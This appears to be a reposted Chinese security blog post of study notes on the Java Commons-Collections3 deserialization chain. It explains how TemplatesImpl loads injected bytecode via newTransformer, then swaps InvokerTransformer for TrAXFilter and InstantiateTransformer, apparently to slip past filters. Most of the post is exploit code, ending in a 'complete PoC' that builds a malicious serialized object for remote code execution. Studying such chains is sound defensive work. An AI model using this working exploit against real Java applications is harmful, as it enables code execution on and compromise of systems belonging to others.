java cc3链 cc3用的是动态加载字节码的形式进行的rce可以参考自己记得动态加载字节码的笔记来了解。
该链主要是利用了TemplatesImpl这个类进行字节码加载。通过笔记我们了解到java加载.class的核心代码就是defineclass方法,而通过调试发现TemplatesImpl这个类中定义了一个内部类重写了defineclass方法并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。
但是我们需要找到一个该类一个public类型来进行调用该方法
我们反向跟踪在defineTransletClasses中调用了该方法,需要_bytecodes不为空,其实这个属性就是我们要传入的字节码但是还不能调用需要继续跟
找到了getTransletInstance方法并且其属性_name不能为空 _class需要为空才可以调用,但是还是不能在外部调用需要继续跟
最终找到了newTransformer方法是public类型的,所以我们可以通过实例化TemplatesImpl对象调用newTransformer方法来触发defineclass加载字节码。
接下来我们需要看一下TemplatesImpl构造方法
发现并没用进行任何赋值所以我们需要自己手动进行反射赋值
byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class")); TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象 Class clazz = templates.getClass();// 下面是需要修改的一些变量 Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法 templates.newTransformer();
运行发现空指针错误,通过调试发现
_tfactory为空所以我们需要给其传入值,
通过查看发现其是transient类型是不可序列化的,所以我们通过产看readObject中看看是给其赋值的什么就给他赋值什么就可以
所以重新构造
bbyte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class")); TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象 Class clazz = templates.getClass();// 下面是需要修改的一些变量 Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法 templates.newTransformer();
但是运行之后发现还是报错
原因是在加载字节码之后有一个方法查看字节码的父类是否是
所以我们需要让我们的恶意类继承该类之后就可以运行了。
然后我们和之前的cc1链前面结合一下就可以成为一个链了
byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class")); TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象 Class clazz = templates.getClass();// 下面是需要修改的一些变量 Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法 Transformer[] transformers = new Transformer[] {new ConstantTransformer(templates),new InvokerTransformer("newTransformer", null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(1); HashMap<Object,Object> map=new HashMap<>(); map.put("className","aass"); //给map一个键值对,方便遍历//构造transformedmap是调用tranform()的前置条件 Map<Object, Object> transformedMap = TransformedMap.decorate( map, null, chainedTransformer);// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(FaultAction.class, transformedMap);//serialize(o); unserialize("ser.bin");
但是我们通过查看ysoserial作者发现其构造的链跟我们不一样,他没有用这个InvokerTransformer去触发,原因就是因为可能有些waf会对InvokerTransformer做了黑名单限制导致不能够使用了。
所以ysoserial作者发现了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。 这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤ InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步:
但是呢由于该类是不可以被序列化的,所以我们只能通过对其反射获取class对象对其进行赋值,这里作者ysoserial找到一个InstantiateTransformer类他实现了transformer Serializable接口,在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;
所以这里我们可以通过调用InstantiateTransformer的transform方法来触发
byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class")); TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象 Class clazz = templates.getClass();// 下面是需要修改的一些变量 Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, newbyte[][]{shellcode});InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, newObject[]{templates});instantiateTransformer.transform(TrAXFilter.class);
完整poc
byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class")); TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象 Class clazz = templates.getClass();// 下面是需要修改的一些变量 Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, newbyte[][]{shellcode});// 触发方法 Transformer[] transformers = new Transformer[] {new ConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass [] {Templates.class},newObject [] {templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(1);/*InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);*/ HashMap<Object,Object> map=new HashMap<>(); map.put("className","aass"); //给map一个键值对,方便遍历//构造transformedmap是调用tranform()的前置条件 Map<Object, Object> transformedMap = TransformedMap.decorate( map, null, chainedTransformer);// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(FaultAction.class, transformedMap);//serialize(o); unserialize("ser.bin"); }
参考:Java安全漫谈 - 14.为什么需要CommonsCollections3.pdf
https://blog.csdn.net/weixin_54648419/article/details/123376523
cc3调用链
原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-Commons-Collections3反序列化
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论